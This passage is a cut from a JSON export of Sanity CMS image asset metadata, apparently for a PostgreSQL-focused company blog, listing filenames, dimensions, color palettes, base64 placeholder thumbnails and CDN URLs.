#fff","population":14.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935805","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac57b","foreground":"#000","population":0.19,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Announcing Aiven for PG 17.png","path":"images/sczeoy4w/production/80b9a60dd5e4291fdd049de8130af88b0fe09134-1200x630.png","sha1hash":"80b9a60dd5e4291fdd049de8130af88b0fe09134","size":156763,"uploadId":"IvPr1YLhdgUPXscBNHnGU8LUPI6FeZCP","url":"https://cdn.sanity.io/images/sczeoy4w/production/80b9a60dd5e4291fdd049de8130af88b0fe09134-1200x630.png"} {"_createdAt":"2024-05-09T11:21:44Z","_id":"image-fd7cb4f3281f7bfc200a6107c0206d2c06ee1ffb-1200x628-png","_rev":"mdEU5AcDfd24wlw26JHVdE","_type":"sanity.imageAsset","_updatedAt":"2024-05-09T11:21:44Z","assetId":"fd7cb4f3281f7bfc200a6107c0206d2c06ee1ffb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB8XSBs|IAocRj_4a{M{a}R*D%Rjxua$jX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACfklEQVQokVWQazMbARSG9xd0jCS7G8nmTqSVUlq6cQsRl5CIjUgELUpVSZjKqFtoGLRVYTBuU6P/9Olk9Us/nJn3fHnO+xxBVFLU1s/TqOZo6VhD7dog0L2N2lXgTXuB5s4ibeFjggOntPeWCPScoYZKqKET2sIndPSVaOst0aAeYvNtIMiOcRrVZXoGtxgY/kZfrEhk5Ih46hfxVIlY8pzY2CWJiVu0iXuGU/dEEjcMaFdEk9ckJh4YTj+ghs5w+YsIkj1NUyBLJL5LJF6kZ3CP6Oh3xqbOGZu6ZGT8gmjygnj6mvT0A5nZP8RSt/QMlYhoVyQmH+nXfvNSLeGo+4FgUlK8DmTpjxUIDxYIRXYZShwTS54QHT0lmjwjNnbByPgNqfcPjM88Ek1e0Ro6pLnzCDV0yqvWE1z+Y2zPfz4BG1qWCPZ+patvS28YHton2L9Pd+SIoUSJ5OQNo5N3aJl7tMwdEe2cluA+Hv8mSu0mincbq3cPxXeIUCGPYnFN4PTN4qn7iLd+CW99Do9/BW9Dnvq3OzR3HtDUdqA/viFwSF1zAY9/HUt1Htm9gezepKq6DC0iPBM1KiSNSnMSgyWDwTqFwTqDUZnHZF9EcmaRXTkkZw7Z9QWzO4/kXNF3s3sdS80ulpoCZs8mVZ4thEpxBKVKw+nKYKuZQXLMUGmZxmCdw2j7hMm+hNG2iEFZ0LPoyD2Nc1WHWLxFHSq715FdeQSjFMetaPi8U1S/mMfi/qA3NChzmGyLiI5lTPbPGG0LOlh0ZBGdK8iuNaqqd3TNsm4ZVjYQyrpGs4ZoTSHaJjEq7/5T1gGOrJ7LYMm5iqSr/9P17mH2bOgHyvMXNENyDV0cUNAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4571","foreground":"#fff","population":1.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":11.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":11.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6dbeb","foreground":"#000","population":9.32,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#777cc4","foreground":"#fff","population":0.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697097","foreground":"#fff","population":1.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2686","foreground":"#fff","population":7.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (2).png","path":"images/sczeoy4w/production/fd7cb4f3281f7bfc200a6107c0206d2c06ee1ffb-1200x628.png","sha1hash":"fd7cb4f3281f7bfc200a6107c0206d2c06ee1ffb","size":178363,"uploadId":"MY8LnJioTETLb7P7wfgI8snlQwiN66BR","url":"https://cdn.sanity.io/images/sczeoy4w/production/fd7cb4f3281f7bfc200a6107c0206d2c06ee1ffb-1200x628.png"} {"_createdAt":"2024-12-03T14:42:46Z","_id":"image-258372e4ca2e141814c24ceccda13db144a08cae-1200x630-png","_rev":"z6O0WKqj7P4UUyWBpwuKZX","_type":"sanity.imageAsset","_updatedAt":"2024-12-03T14:42:46Z","assetId":"258372e4ca2e141814c24ceccda13db144a08cae","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M28g?-^.00RO9FIyNFWTS6W@00Dj~pxdxT","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACzUlEQVR4nB2SW1MaBwBG9xckbQV2uS7scpclognxinaogIKCLERQm9uUttEoFRUrKioRLxRTTJPazLS/9XTg4cycpzPzzXzCI1OBx2KRby2rDFnXMNhfYnK8xST/jEneRHJVMas1LO46Vs8xNl9zwMC9fU6wen7H7N5HUvcQHosFDLYSZtcGVvU1Dm8F2fcOi/oOo6PPNibnLqJygFk9wuI5HdB3ST3ErDYwuxtI7kMkdR/hG6mI5FzH6X+DGqzgDm3i0bZRhqvI/iqybw85UEcOHqGEmqjaBYp2gTN4jDPYQNVaqOE2juA5Vu8pgsFWxvekwthklYm5A8bnDhmfaxBLnDOXahNLXDH1wxUziQ6zqY/MpnrMJj8yM99her5DPP2F7xf/YWSyhzPUQRDldcamdogvNkhmz1jItUhmL0nrt+TLPXKr92T0e7Krn8mvfWWp+Dfx9B2xxA2xxC1zCz1mF/4iMtVD0boIJscaz2O7pPPnpPUWmUKbVK5NYrnNUuGOXOkTK+UvFH/8Sun1f4NgZPIcNVRH1Y5QtRPc4TMU7QNy8BrBaC/zbLrKkn7BcvFyEMzo16Tzt2T0LtkX96yUP6OvP/Di5b/kSg9Mxa8YmWgyMtFidPqapzM3hKJXyMOXCEZbmcjzLRZzZywVPpDMtkj1J/eDhTsy+p+ksl0Sy3+wsNJjMf+JxHKXeLrDfKZHKvdAMvvAs1gHR6CJYDAXCfg2GJ/YIjpdY3isije8jT9SQ4seEY6e4I/U8Wg1fE/qBEYbA/yjJww/vSQ83iUUvUHRTjG7DxAMYh63XScYeIVX+wWr+ycMtrcY7BVE5xaSawfR+R6D/VeMjk1EZxXR9Ruisj/4o93XwuI5HnxQVGoIj0w6Q2IBo7WE0bHBkO0V31nfYLBVBgGT3A/uYHRsYZLfI7l2kZQ9zGodq7eJzXuGWT1EUmqIrhr/AwGVlUbrlcKnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242851","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":6.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dfee","foreground":"#000","population":9.42,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#787dc4","foreground":"#fff","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dfee","foreground":"#000","population":9.42,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687096","foreground":"#fff","population":2.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd484b","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Blog Image.png","path":"images/sczeoy4w/production/258372e4ca2e141814c24ceccda13db144a08cae-1200x630.png","sha1hash":"258372e4ca2e141814c24ceccda13db144a08cae","size":290670,"uploadId":"akym5EHWKDXdI5zXjQDmnVhjRYAWaTEF","url":"https://cdn.sanity.io/images/sczeoy4w/production/258372e4ca2e141814c24ceccda13db144a08cae-1200x630.png"} {"_createdAt":"2024-11-19T09:11:39Z","_id":"image-79564834bc797e6e5d2973b0b8a24ab948202d0b-1200x628-png","_rev":"T130WEs22RB6SoEkOBk8qY","_type":"sanity.imageAsset","_updatedAt":"2024-11-19T09:11:39Z","assetId":"79564834bc797e6e5d2973b0b8a24ab948202d0b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M86kiK%AISjYjb_4xtIUbIfljYafjYogaw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACHklEQVR4nFWRbVMSURiG9xeYCvtyzr7v2XN2BRHGscZyImtoWFJBaFWacCwKShCUF3FdVxECrZzepjH8UP+12Zim6ftz3fc190NNcjYj5YFSANoOREWISiKpquGGGm5rsw6KeCR6bs4PzPmBPteVzBOIXaAfc6jDaS2KFvORhd37icP4Y2fpkXMn7iwue8vWILH6wVr/svL0eyp7bWVHVnZ0L3GFo6c8OYHkFGAXoCOKk58tPjjIbPTXt4bpjeGT7DCZvrAyH1ftz3bhx/Pir43tnyv2zXLqW+zuQAmdCMa5ODMQzL5gvqNYOb+wVEumPSvTTWX6qfWhlbl8mLqIJy8Ta5/WNq/Tm6N48iuJdSFuA/1IMHvizECcuZDCV9QUsHlUQKGiHi7j2V0SrZuxJp5ro0gHx9zw7fPo4tCY70G9Tcs1VmsC/RgSjzf7Yug9NcHkJpjcLdaeAvkpUJjmXwTFEi3tMmqN1RpA7/DYhdhh1QNa3mPVBkAdoDsQe772GJ5g7Unuf1ipscr++JpDHUbdp5Uah9o89njiQezy5IyaZHM0yLHCFiMXguLONP/yL7xHS1VarvgRWoNR64y6D5AjGD3e6AL92F87yGV1KRcyt0mkzOuvA0IxIJZoeQxXgmKZliqMUmeUOqs1/9j2ITnl0KH/5wCbVcQcwQUUKkH0KiD8a2bkalB6Q0tvfVI98J2NM8HoQexyWovTWr8BkOaWeThIDdYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252551","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142470","foreground":"#fff","population":12.76,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142470","foreground":"#fff","population":12.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5d8e9","foreground":"#000","population":5.15,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a80c4","foreground":"#fff","population":0.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f96","foreground":"#fff","population":1.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"query-a-postgres-database.png","path":"images/sczeoy4w/production/79564834bc797e6e5d2973b0b8a24ab948202d0b-1200x628.png","sha1hash":"79564834bc797e6e5d2973b0b8a24ab948202d0b","size":146464,"uploadId":"naoSg0W9OlKxcEC0eyBcoW5XywxFwRBw","url":"https://cdn.sanity.io/images/sczeoy4w/production/79564834bc797e6e5d2973b0b8a24ab948202d0b-1200x628.png"} {"_createdAt":"2024-11-19T09:34:53Z","_id":"image-259756f67f67617d9e932f2048148e3e8a84b083-1999x1313-png","_rev":"h4ancfFTuSnQNBSq3Iubf2","_type":"sanity.imageAsset","_updatedAt":"2024-11-19T09:34:53Z","assetId":"259756f67f67617d9e932f2048148e3e8a84b083","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VLQ0aQM{4mxu00~qt7fPayRj00oJofRjt7~qt7WBRjNF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5224676313785224,"height":1313,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACu0lEQVR4nH2SzWocRxCA93X8JvHF9+SwuSQHIcHaugT8Cj4HP8IkFxEIAnnXXiwdBJ5jdu1kHURsjT3b05qeme7pn+rfCj2SjMkhDR9dXdVV1N+s+uevh227fyaVKJQxhVKqUEoWUspCCFFwzou27YqmbYubri86Loqei0JINf03xhQA2W98Vtf1NzNKyY9a61fWQmWtvbbWVgBQOecmssz5WJGboapvhmoYdWXAVmBdBdbeybbKMQghP8zatn0CABspZRRChHyPUkYAiN6HqDXEjonYkC42dIhCmmiti2Bd1AbiKHVUGoLS5g9C6GLGGDs2xmz5yFPXd5FzngY+JKVUcs4lpSGJQSU5qKQVJOd8CiFMeB+SdS4576MB2BBCH98GBLMVUmDfd2ngHClj2PYch1FhxxWO0qD3AVNM+N+T0qRL3vsNpfTxjDJ2rIzZ9uOIrB9SwwZ8f73HPz/UuPtI8P11g7Qf0YVw7/z/AWvKjrmGLZMG6TAmwjhefaL49zXB3Yc97j7ukbABtQG01qJzDkOMGGOaCCHmd27FbUCSMwS3HQ1gJ8aUyxQyl6mR55IHgWzg2A8cczukVAjWoXXhDo/Oh2TAbQghtyWDc1ttNOZhaG0whIAxxukGa1EqhUIIFGLEbHfOow/xCyF8lSGl9BjAbJVWSYw8TyvFGCfyJJ330yQBIFlrJ1225b59jb/v4dXV1ZOa1Jt6/znW+zrQGxoZY7d0XeRCRG3MtJcT1k57mFflHu99MCbvIVnMTk9Pv1u+fPnLcrks1+v1m/Pz8/Li4mLi8vKyfPv2Xfnp875sKC1JQ0tCmrKhbdmyrmRdP5HlmjS/vtvtvp0dHBw8ODw8fHR0dDTPLBaLL/z09On85+fP57/9fjo/W63mZ2er+enZapJXr1/PX93xYr3+frlcPjo5OXnwL4lTo+cp0BA7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#406c91","foreground":"#fff","population":0.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9bea6","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cbcdc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5687ab","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#406c91","foreground":"#fff","population":0.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgadmin-2.png","path":"images/sczeoy4w/production/259756f67f67617d9e932f2048148e3e8a84b083-1999x1313.png","sha1hash":"259756f67f67617d9e932f2048148e3e8a84b083","size":566805,"uploadId":"xlB44nHns4DQ5F16rpquXI8zgTdLpP1s","url":"https://cdn.sanity.io/images/sczeoy4w/production/259756f67f67617d9e932f2048148e3e8a84b083-1999x1313.png"} {"_createdAt":"2024-11-19T09:34:53Z","_id":"image-67ff2fdc8388329ec20a267bafdf967d7f62ac52-1999x1201-png","_rev":"h4ancfFTuSnQNBSq3IublE","_type":"sanity.imageAsset","_updatedAt":"2024-11-19T09:34:53Z","assetId":"67ff2fdc8388329ec20a267bafdf967d7f62ac52","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDQ].,f900%M00?wWAjFt6j?00odxtjsxa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6644462947543714,"height":1201,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABx0lEQVR4nJ2SS27bMBBAfbhcJYvcIO02F7D37SHiXY6QrREXhmHBBQwxdhxZNkkNOT+yoJS6aWsUbQk8DDTiPA2HGm3q5ro5uM+thenrEe5NE6b1C043rzjdvMX6laamoWl9gedW7ss708RPX+v2etTs9nfeh8cQqXaAxgIaB2RcIOMimQ7ZhAKJQVKD/A5SE/tcqiHyY9ue7kb7593Yu24FgHxyIO3JqXOdAgQFDBopKjIqMamqaFY9U1ZKKjlnFpGVtXY82m73E+egAkA52U4P7Sk551OIMSFRDzElEU6lPuf8K5pzFhGprLWTXuh9rEJAdQ6StT4DhIxImUgyEmcizqqSUyr1v61UpGeh2e4n1sUKAmnXxdR1IYeAvYRZMrH0UWQQ/ky+IDS7ibX9kTUETENng0xEz5TnH7nhA2UCzJpEVJm5Oh7PRy7CqDGWWQ1FZXPposRCyb8XDveSMrEmZlWiN2HbHscx0ipGVGYp+y4N/k+oDkdeee/HRTgh4hUia2n9H2Xfb7n8QYNwu3356Fz34D08AYR5CPgF8e8hojkRPcUYHw6Hw4fRbDa7WiyWN4vF8na5XN6u1+v/oqqqm/l8fvUNF4mBH9gV2roAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292c51","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06141b","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#06141b","foreground":"#fff","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4c4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4d4ef","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647c9c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e9ad0","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"current-queries.png","path":"images/sczeoy4w/production/67ff2fdc8388329ec20a267bafdf967d7f62ac52-1999x1201.png","sha1hash":"67ff2fdc8388329ec20a267bafdf967d7f62ac52","size":380757,"uploadId":"b9SCwuxBlBVmzfG1NMjlBgInxcoap8oU","url":"https://cdn.sanity.io/images/sczeoy4w/production/67ff2fdc8388329ec20a267bafdf967d7f62ac52-1999x1201.png"} {"_createdAt":"2024-11-19T09:34:53Z","_id":"image-cb53ad72178537702809ccfabe99f9d418093eeb-1200x836-png","_rev":"h4ancfFTuSnQNBSq3IubdU","_type":"sanity.imageAsset","_updatedAt":"2024-11-19T09:34:53Z","assetId":"cb53ad72178537702809ccfabe99f9d418093eeb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5SY{tj]D,.8Rj%hIUs.R,Rj_NW=ICadM}_2kCaha#Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4354066985645932,"height":836,"width":1200},"exif":{"ColorSpace":1,"PixelXDimension":1200,"PixelYDimension":836,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABtElEQVR4nG2S6w7bIAyF8/4PuX9T29wA342BTiRdt0mzPlkm0QEO9vLjCVsmYhFRFVM1qyZVpIqGSlVxtfA++ni/b3ofrY2Itjw2eG05F2J2karmXqtH9YjawltcRWt99ItoQ62ThGhbtgN/Ps51xwIVMIAqcpA0kk7SWbvYUB9i7xvWN/AoNP8uZ5btoCNpwfiXXrADDZLBOkjeE/2D+ntBEkBhns5Eq2qdRnU6nqatmTXzT/baa4xJ7RFjYZacMWcshXJGyICpQIJc5hdARmBEhisz23zPC/dYEGXb0uu1P5+T9blvz+312Gb9Oo79TEdOGVLC88TjpFKU2WZr1Kd43/O6njfbxbqer/XY1vPcz5xyQSJSAD0OOZMgChEzy0JkKXHKVIABCGaelMJQGIEuoarNRgIaoCHeFmQxC+YqOj24R63ti3uY1y9zeblVdZnj5It7qIVZc+81eu/jG631iKh1YuZzemq4z17cE7W4N5FgCZEw7619JukvfWut3VvEVbDUDA5UF/POEsQT0ev82cPPFfrvuMX3Lsyeshe8xRxIQfQR+//EcUVrLSJEPBcHil+BMilCvQOwHgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#84545c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c76a5","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eba9ba","foreground":"#000","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aad5ca","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eba9ba","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748c74","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74b4ec","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ai-insights.png","path":"images/sczeoy4w/production/cb53ad72178537702809ccfabe99f9d418093eeb-1200x836.png","sha1hash":"cb53ad72178537702809ccfabe99f9d418093eeb","size":121393,"uploadId":"tc9W2yrP8smtWSm4rN31lUkT24NsfgSh","url":"https://cdn.sanity.io/images/sczeoy4w/production/cb53ad72178537702809ccfabe99f9d418093eeb-1200x836.png"} {"_createdAt":"2024-11-19T09:34:53Z","_id":"image-9f7dea63968804d9fec300fdfe5f0ac1654f0287-1999x1313-png","_rev":"sEwq5NBiPauorOxrhidxSv","_type":"sanity.imageAsset","_updatedAt":"2024-11-19T09:34:53Z","assetId":"9f7dea63968804d9fec300fdfe5f0ac1654f0287","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VKQ9}~t700oJ00~qbIWBj[Rj00bHxaayt7_3j[WBayRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5224676313785224,"height":1313,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACm0lEQVR4nGWRzYrcRhDH53X8JsnF9+QwuSRnx34NP4jsS24LZsyECYGF6GCIdw7GLNkPeSbyrKRWl7q7qj+qK3TvRwI5/KgqNfyof2nVXX76dhr+fm0sNIT4hLWmAQON0rq5G6ZmGFSjNTRgTGMK8NhDnQHg9fF4/GZ1OPQ/TRq2C1IXU7pNKZXahZg6irEz5Lt5wQ4M1p48dUTYOcTOPczeU2et3d7eHn5cHU/Dy0nDxaQXduRTTMyRpeITs0HPYBxbJHbeM3pk5ywvxvLikJGQPWECgI+Xf928WJ1O46sZ9H5UKi/GcIgps0glJM4WfTYOM/mQfYzZh5CRKDuk+i2EkEMMrAEuPn2++rkKwcBeqVEAdI4xSs5ZOGeJicWiF7AoBkkcojgkMQ7FEYn3QXyIQsFnbcy9sO9Pr+ZZ78dxlFlD9j5WUcGHJItFUYsVsFaMMbIsRsA6Mc6JLSCKJczqccMiVEU4qf8LYxLrvBhH4kOQEIIgkpAPZau6MRIJhXC/4eVD5FkX4SQAkMND5JxFIrM49GKrMEqMqcpK72OssZF8mbM29vGGJfK8H0rkeS5HfhIm5rqd0ovAYsSW29VbFhGJIy+IodQ86yK8+Vc4jmPWWnP5ayJSSczZOMrTDLmcwxibHWK21j30lIl8xv8K+/70clLq4u7ujpVSCRE5xsQpJQ4xsrHIejFsreXyVliWhedZszGGnXPskJKa4ePny5sXq6urq++7w+HN9fV123XdH8MwtFrrFgBqHYapPQ1jO02qVUq14zi1fd+3X74c2v7r13Ycx3YYp/a2O7798Of+u9Vms3m22Wyen52drQu73W59fn7+xG73+3q729V6z2693W7X7969r7W8vf/1tx82m+3zpvnl2T/t7bCguHUUfwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c2c34","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0a","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bbc0c0","foreground":"#000","population":2.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbc0c0","foreground":"#000","population":2.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1d7d4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#935a58","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#45a59f","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgadmin-1.png","path":"images/sczeoy4w/production/9f7dea63968804d9fec300fdfe5f0ac1654f0287-1999x1313.png","sha1hash":"9f7dea63968804d9fec300fdfe5f0ac1654f0287","size":565945,"uploadId":"xqNktpUDxoFiM2FY1ulV1PhcxuDAP3EX","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f7dea63968804d9fec300fdfe5f0ac1654f0287-1999x1313.png"} {"_createdAt":"2024-12-09T11:38:05Z","_id":"image-e04768d8a2a1ae348c1b180cb8e2f81a5f03fec6-1200x628-png","_rev":"CsJhS699U5wscrFy7L6oWy","_type":"sanity.imageAsset","_updatedAt":"2024-12-09T11:38:05Z","assetId":"e04768d8a2a1ae348c1b180cb8e2f81a5f03fec6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M271ml*EvvQ*0t~SX=t2e*I|0T+ptSo+#z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACdUlEQVR4nD2Sa1MSYQCF9y+UjgUs7LLsuzdgFQXkIiwrClpNNTpTTl7GSWu66JQpd0QQzOxDf/lpoJk+nK/POWfmkeblPRTjGMV8Tyh2jCxOUcwvKPY5qnOBYl8SElcE9AYh0UU2BoTNEardR7MbqOYVsmgT1DsEYm0k1TymvNlkfbtL3m+Sq7QoVvuUaiO8+oScP0a4HYJ6k6DoIJvX6PE2S6kTMqnXLCVeoRnHhPRpcQ9J1o/Ili8o19oUqy0K650ZsFwfUanfUaxOiGcGKE6HkNlFtbusZk545Xvs+Ul2CzbFxQLCOSFsXiMtRN5hpz6xUvxOtnRJttxk1euQ9/vk/SF5f0zWm+DmbtHcG0SiQTX3gqMNg/MthcZWiP2SQXb5LWp8jPRE2See/kK2/IOcd0XBb7M2vbwxoLR5i1f/SWXrgUL1F3Z6TCzeJJ14zpodYdN6xN7SPC9XDJYXD4gmH5CC2iHLhW94tTZerYNX67O+PWTj+Zjqswn+9j1e/RcZ7w4jNSRi9Yjqp4SDeaJzKm7AwImuEzXPUZx7pKfqPsn0V1bLP/5fzle65Co9Voo9Flf7xNN9YskeYWuaAbHkECNxgTAO0LV9FP0M2egimyOkucAbFO0AYb8n5nwg6nxCT5wh3O9oU22sS2SzQVA0CehdIvYQJ/ObdOkPqcJPrNQNevIG1RnMDJDmFnbQw7s41hEi8ZGI+RHN+YqdusRcamC4baLxNiGjRVB0CVs36O499soDZmqClhwQjfeJ2L1/wMcLO6jyLoY4RHNOkcUHIuZnRPIC4V4h3NYMKJv/gKGp2NaYsDWaiT7zU5+ubxE0+vwFEdxkH2U4xE4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434a7d","foreground":"#fff","population":1.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041867","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8c0e2","foreground":"#000","population":4.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95c2","foreground":"#000","population":0.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b8c0e2","foreground":"#000","population":4.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac6874","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b67c34","foreground":"#fff","population":1.46,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Back Market - Tomer Levy - 